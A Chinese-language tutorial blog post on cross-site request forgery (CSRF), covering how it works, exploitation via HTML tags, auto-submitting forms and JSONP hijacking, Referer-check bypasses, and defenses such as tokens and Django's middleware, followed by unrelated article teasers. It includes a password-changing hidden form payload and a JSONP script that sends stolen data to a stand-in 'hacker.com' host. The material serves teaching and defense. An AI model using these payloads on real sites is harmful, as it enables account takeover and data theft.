关于CSRF的那点事儿
0x01 CSRF简介
CSRF,也称XSRF,即跨站请求伪造攻击,与XSS相似,但与XSS相比更难防范,是一种广泛存在于网站中的安全漏洞,经常与XSS一起配合攻击。
0x02 CSRF原理
攻击者通过盗用用户身份悄悄发送一个请求,或执行某些恶意操作。
CSRF漏洞产生的主要原因:
- 请求所有的参数均可确定
- 请求的审核不严格,如:只验证了Cookie
关于CSRF的执行过程,这里引用自hyddd大佬画的图:

我们知道,当我们使用img等标签时,通过设置标签的src等属性引入外部资源,是可以被浏览器认为是合法的跨域请求,也就是说是可以带上Cookie访问的。
试想一下,如果我们在a.com上放置一个img标签<img src=//b.com/del?id=1>。当b.com的用户在cookie没过期的情况下访问a.com,此时浏览器会向b.com发送一个指向http://b.com/del?id=1的GET请求,并且这个请求是带上Cookie的,而b.com的服务器仅仅是通过cookie进行权限判断,那么服务器就会进行相应的操作,比如假设此处为删除某个文章,用户在不知情的情况下便已完成操作。
0x03 CSRF能够造成的危害
- 篡改目标网站上的用户数据;
- 盗取用户隐私数据;
- 作为其他攻击向量的辅助攻击手法;
- 传播CSRF蠕虫。
0x04 CSRF的利用方式
- 通过HTML标签发送合法的跨域请求
- 通过Ajax发送请求(由于CORS机制的存在,一般不使用)
这里涉及到同源策略,如果不是很清楚可以先去了解一下。
1) HTML标签
我们知道,根据同源策略的规定,跨域请求是不允许带上Cookie等信息的,可是出于种种考虑最终没有进行完全禁止,即存在某些合法的跨域请求。
通常由HTML标签src、lowsrc等属性产生的跨域请求是被浏览器认为是合法的跨域请求,并且此时并不需要javascript的参与。

由HTML标签发出的合法跨域请求与正常的用户点击发出的请求相比所不同的是:两者请求头中的Referer值不同。
不过值得说明的是IE浏览器在面对这种情况时会判断本地Cookie是否带上P3P属性,如果仅仅是内存Cookie则不受此影响。
CSRF不仅仅只能针对GET请求,也可以针对POST请求,不过只能使用from标签进行自动提交,注意此处需用到javascript。
<html>
<head></head>
<body>
<form action="http://a.com/changepass" method="POST">
<input type="hidden" name="username" value="victim">
<input type="hidden" name="password" value="hacker">
<input id="sub" type="submit"> //可用样式表将按钮隐藏
</form>
<script>
document.getElementById("sub").click()
</script>
</body>
</html>
2) Ajax
除了通过HTML标签发送跨域请求外,还可以通过Ajax来发送跨域情况,不过Ajax是严格遵守CORS规则的。
关于CORS规则,不清楚的可以去看看evoA大佬的一篇文章跨域方式及其产生的安全问题。
简单来说就是需要构造的xhr的withCredentials属性也为true才能带上Cookie进行跨域请求,与IE兼容性不好,且构造难度较Html复杂,故通常情况下我们不使用Ajax来进行CSRF攻击。
通常使用Ajax来跨域进行CSRF攻击的漏洞一般都配合XSS漏洞,此时的Ajax与目标域相同,不受CORS的限制。
0x05 CSRF利用实例
1) 常用利用方式
攻击者构造恶意html,通过引诱用户/管理员访问,触发CSRF漏洞。

2) 结合XSS利用
CSRF+XSS结合,产生的危害已几何倍数剧增。如果CSRF和XSS两个漏洞是在同一个域下的话,那么此时的CSRF已经变成了OSRF了,即本站点请求伪造(出自黑客攻防技术宝典Web实战篇第二版p366),此时已经变成XSS的请求伪造攻击,本文不在赘述。
3) jsonp
我们知道网站api返回的数据类型一般为json型或Array型,这里我们仅讨论json型。
当我们需要调用远程api时json返回的数据一般如下:
user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})
这是因为开发者如果需要调用远程服务器的api获取json数据,由于同源策略的限制,通过ajax获取就会显得比较麻烦,相比之下<script>标签的开放策略,无疑是最好的方法去弥补这一缺陷,使得json数据可以进行方便的跨域传输。此处的user为回调函数名,一般为某个请求参数值(比如:callback),就上述例子说,只需要通过下面方法即可调用返回的数据:
<script>
function user(data){
console.log(data);//此时的json数据已经存储进了data变量中
}
</script>


这种远程api接口十分容易受到CSRF攻击,我们可以通过修改callback参数值并添加自定义函数,如:
<html>
<head></head>
<body>
<script>
function jsonphack(data){
new image().src="http://hacker.com/json.php?data="+escape(data);
//将json返回的数据发送到黑客服务器上
}
</script>
<script src="http://127.0.0.1/1.php?callback=jsonphack"></script>
</body>
</html>
4) 更多例子
从零开始学CSRF
Web安全系列 -- Csrf漏洞
phpMyAdmin 4.7.x CSRF 漏洞利用
0x06 防御CSRF攻击
前边我们说到,产生CSRF的原因主要有两点,那么我们可以针对这两点进行相应的防御。
1) Token
我们知道CSRF攻击的请求除了Cookie以外,其他的内容必须提前确定好,那么如果我们在服务端要求提交的某一个参数中是随机的值呢?
这里我们称这个随机的、无法被预计的值叫做Token,一般是由服务端在接收到用户端请求后生成,返回给用户的Token通常放置在hidden表单或用户的Cookie里。
当用户打开正常的发送请求的页面时,服务器会生成一串随机的Token值给浏览器,在发送请求时带上此Token,服务端验证Token值,如果相匹配才执行相应的操作、销毁原Token以及生成并返回新的Token给用户,这样做不仅仅起到了防御CSRF的作用,还可以防止表单的重复提交。
由于HTML标签产生的合法跨域只能是单向请求,无法通过CSRF直接取返回的内容,所以我们无法使用CSRF先取Token值再构造请求,这使得Token可以起到防御CSRF的作用。
注意Token不应该放置在网页的Url中,如果放在Url中当浏览器自动访问外部资源,如img标签的src属性指向攻击者的服务器,Token会出现作为Referer发送给外部服务器,以下为相关实例:
- WooYun-2015-136903
2) Referer
前边我们提到,CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不同,使用我们可以根据这点来防御CSRF。
在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,如果不是,则进行拦截。
不过此方法有时也存在着一定的漏洞,比如可绕过等,所以最好还是使用Token。
判断Referer的一般方法就是利用正则进行判断,而判断Referer的正则一定要写全,不然就会如上所说,可绕过!曾经的Wooyun上就有许多CSRF的漏洞是由于Referer的正则不规范导致。
比如^http\:\/\/a\.com,只验证了是否Referer是否以http://a.com开头,可是没想到我们可以在自己的顶级域名添加一个子域名http://a.com.hacker.com;还有http\:\/\/a\.com\/,通过http://hacker.com/?http://a.com/绕过。以下相关例子均为Referer绕过:
- WooYun-2015-164067
- WooYun-2015-165578
- WooYun-2016-166608
- WooYun-2016-167674
有些网站由于历史原因会允许空Referer头,当https向http进行跳转时,使用Html标签(如img、iframe)进行CSRF攻击时,请求头是不会带上Referer的,可以达到空Referer的目的。

3) 验证码
在发送请求前先需要输入基于服务端判断的验证码,机制与Token类似,防御CSRF效果非常好,不过此方法对用户的友好度很差。
4) 关注点
关于CSRF的防护应首先关注高危操作的请求,比如:网上转账、修改密码等,其次应重点关注那些可以散播的,比如:分享链接、发送消息等,再者是能辅助散播的,如取用户好友信息等,因为前者加上后者制造出来的CSRF蠕虫虽不如XSS蠕虫威力大,可是也不可小觑。最后应关注那些高权限账户能够进行的特权操作,如:上传文件、添加管理员,在许多渗透测试中,便是起初利用这点一撸到底。
5) 防御实例:Django的CSRF防御机制
新建个Django项目,打开项目下的settings.py文件,可以看到这么一行代码:django.middleware.csrf.CsrfViewMiddleware

这个就是Django的CSRF防御机制,当我们发送POST请求时Django会自动检测CSRF_Token值是否正确。我们把Debug打开,可以看到如果我们的POST请求无CSRF_Token这个值,服务端会返回403报错。

现在我们往表单上添加CSRF_Token的验证:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="/login/" method="post">
{% raw %}{{% endraw %}% csrf_token %} //添加Token
<input type="text" name="user" />
<input type="text" name="pwd" />
<input type="submit" value="登陆" />
</form>
</body>
</html>
下图为生成的HTML,可以看到{% raw %}{{% endraw %}% csrf_token %}这串代码被Django解析成了一个隐藏的input标签,其中的值为token值,当我们发送请求时必须带上这个值。

只有这样Django才会接受POST请求来的数据,否则返回错误,并且原登陆页面的CSRF_Token重新生成,上一个进行销毁,很大程度上防御住了POST请求的CSRF。

补充一张暴漫系列图,引用自先知社区《聊聊CSRF漏洞攻防----久等的暴漫》作者:farmsec:

0x07 CSRF的常用检测方法
1) 黑盒
- 首先肯定确定是否除Cookie外其他参数均可确定,即:无验证码,无Token等。
- 再者如果发现是Referer头判断的话,可以尝试是否可以绕过正则。
- 还有就是考虑能不能绕过Token,比如Url处的Token用加载攻击者服务器上的图片来获取。
- 最后可以考虑与XSS结合,如:攻击者使用iframe跨域,存在xss漏洞的网站插入的XSS执行代码为
eval(window.name),那么我们构造的iframe标签里可以添加个name属性与子页面进行通信,例子:wooyun-2015-089971。
2) 白盒
- 查看是否有Token,验证码,Referer等不确定参数判断。
- 判断Referer的正则是否安全。
- 判断Token返回的位置是否为安全位置。
- 判断生成的Token是否足够随机,毫无规律。
从上到下挖掘难度依次递增
0x08 补充说明
1) HttpOnly
CSRF攻击不受Cookie的HttpOnly属性影响。

2) XSS漏洞情况下的CSRF
如果一个网站存在XSS漏洞,那么以上针对CSRF的防御几乎失去了作用。
3) 关于Flash的内容
鉴于Flash的凉势,这里暂不做研究以节省时间。
4) 目前CSRF形势
就目前而言,CSRF这个沉睡的巨人颇有一番苏醒的意味,可导致的危害也正在逐步的为人们所知,但目前仍有许多开发人员还没有足够的安全意识,以为只要验证Cookie就能确定用户的真实意图了,这就导致了目前仍有大量潜在的CSRF漏洞的局面,CSRF是不可小觑的漏洞,希望大家看完这篇文章能对CSRF有个较为清晰的认识。
0x09 结束语
虽说这篇文章内容较为基础,但也是我熟读几本相关书籍与相关文章、研究已知漏洞,所写出来的一篇半总结,半思考文章,也许里边会有些错误,麻烦各位表哥斧正,如果有想要与我交流相关内容的可以email我(asp-php#foxmail.com #换成@)。
0x0A 参考
书籍:
《Web前端黑客技术揭秘》p83-p96
《XSS跨站脚本攻击剖析与防御》p182-p187
《黑客攻防技术宝典Web实战篇第二版》p368-p374
文章:
CSRF漏洞挖掘
WEB安全之Token浅谈
跨域方式及其产生的安全问题
Django中CSRF原理及应用详解
CSRF简单介绍及利用方法 | WooYun知识库
原生JSONP实现_动态加载js(利用script标签)
关于CSRF的那点事儿的更多相关文章
- Go语言实战 - revel框架教程之CSRF(跨站请求伪造)保护
CSRF是什么?请看这篇博文“浅谈CSRF攻击方式”,说的非常清楚. 现在做网站敢不防CSRF的我猜只有两种情况,一是没什么人访问,二是局域网应用.山坡网之前属于第一种情况,哈哈,所以至今没什么问题. ...
- revel框架教程之CSRF(跨站请求伪造)保护
revel框架教程之CSRF(跨站请求伪造)保护 CSRF是什么?请看这篇博文“浅谈CSRF攻击方式”,说的非常清楚. 现在做网站敢不防CSRF的我猜只有两种情况,一是没什么人访问,二是局域网应用.山 ...
- .NET MVC CSRF/XSRF 漏洞
最近我跟一个漏洞还有一群阿三干起来了…… 背景: 我的客户是一个世界知名的药企,最近这个客户上台了一位阿三管理者,这个货上线第一个事儿就是要把现有的软件供应商重新洗牌一遍.由于我们的客户关系维护的非常 ...
- “借刀杀人”之CSRF拿下盗图狗后台
最近我一个做贸易的朋友找到我,他发现自己拍摄的图片又被某个同行盗用了,而且是全站的图片基本都被盗用. 之前对方是引用他的图片链接,后面我给他做了防盗链解决了,现在对方是先下载图片,然后自己上传到服务器 ...
- 咱妈说别乱点链接之浅谈CSRF攻击
平时经常听到人们说别乱点链接,小心有病毒.还有长辈们转发的“天呐~XXX的阴谋,全是病毒”.“XXX惊天大病毒,点了苹果手机就要爆炸!”.“现在转发热门连接会乱扣费!千万别点!”. 到底长辈们说的这些 ...
- Python自动化运维 - Django(三)CSRF - Cookie&Session
CSRF跨站请求伪造 CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:攻击者盗用了你的身份,以你的名义发送恶意请求 ...
- CSRF漏洞原理
跨站脚本伪造 用户与服务器端已进行了身份认证,站点已经对用户生成的session,完全信任了,然后此时黑客通过社工发过来一个不友好的链接, 让用户点击请求此站点,站点完全信任这个请求,按照黑客的这个请 ...
- 说说Makefile那些事儿
说说Makefile那些事儿 |扬说|透过现象看本质 工作至今,一直对Makefile半知半解.突然某天幡然醒悟,觉得此举极为不妥,只得洗心革面从头学来,以前许多不明觉厉之处顿时茅塞顿开,想想好记性不 ...
- 总结iOS开发中的断点续传那些事儿
前言 断点续传概述 断点续传就是从文件赏赐中断的地方重新开始下载或者上传数据,而不是从头文件开始.当下载大文件的时候,如果没有实现断点续传功能,那么每次出现异常或者用户主动的暂停,都会从头下载,这样很 ...
随机推荐
- python 三种遍历列表里面序号和值的方法
list = ['html', 'js', 'css', 'python'] # 方法1 # 遍历列表方法1:' for i in list: print("序号:%s 值:%s" ...
- 2016-2017-2 《Java程序设计》第七周学习总结
20155313 2016-2017-2 <Java程序设计>第七周学习总结 第十二章 Lambda 12.1认识Lambda语法 12.1.1Lambda语法概览 在java中引入了La ...
- 20155303 2016-2017-2 《Java程序设计》第七周学习总结
20155303 2016-2017-2 <Java程序设计>第七周学习总结 教材学习中的问题和解决过程 『问题一』:SimpleDateFormat中每个字符的含义都是什么? 『问题一解 ...
- CodeForces - 1042B
Berland shop sells nn kinds of juices. Each juice has its price cici. Each juice includes some set o ...
- Vue的生命周期的介绍
[推荐链接] https://segmentfault.com/a/1190000008010666
- Node程序debug小记
有时候,所见并不是所得,有些包,你需要去翻他的源码才知道为什么会这样. 背景 今天调试一个程序,用到了一个很久之前的NPM包,名为formstream,用来将form表单数据转换为流的形式进行接口调用 ...
- Go语言知识点笔记
golang的花括号: 在go中,继承了C系的花括号作为一个作用域块的包含范围指示,但不同于C/C++中花括号位置可任意摆放,go要求“ { ”必须在右侧(一行代码尾部),不能单独另起一行.类似Pyt ...
- 用Nginx分流绕开Github反爬机制
用Nginx分流绕开Github反爬机制 0x00 前言 如果哪天有hacker进入到了公司内网为所欲为,你一定激动地以为这是一次蓄谋已久的APT,事实上,还有可能只是某位粗线条的员工把VPN信息泄露 ...
- RPC简介与hdfs读过程与写过程简介
1.RPC简介 Remote Procedure Call 远程过程调用协议 RPC——远程过程调用协议,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议.RPC协议假定某些 ...
- SELinux 入门【转】
一.前言 安全增强型 Linux(Security-Enhanced Linux)简称 SELinux,它是一个 Linux 内核模块,也是 Linux 的一个安全子系统.SELinux 主要由美国国 ...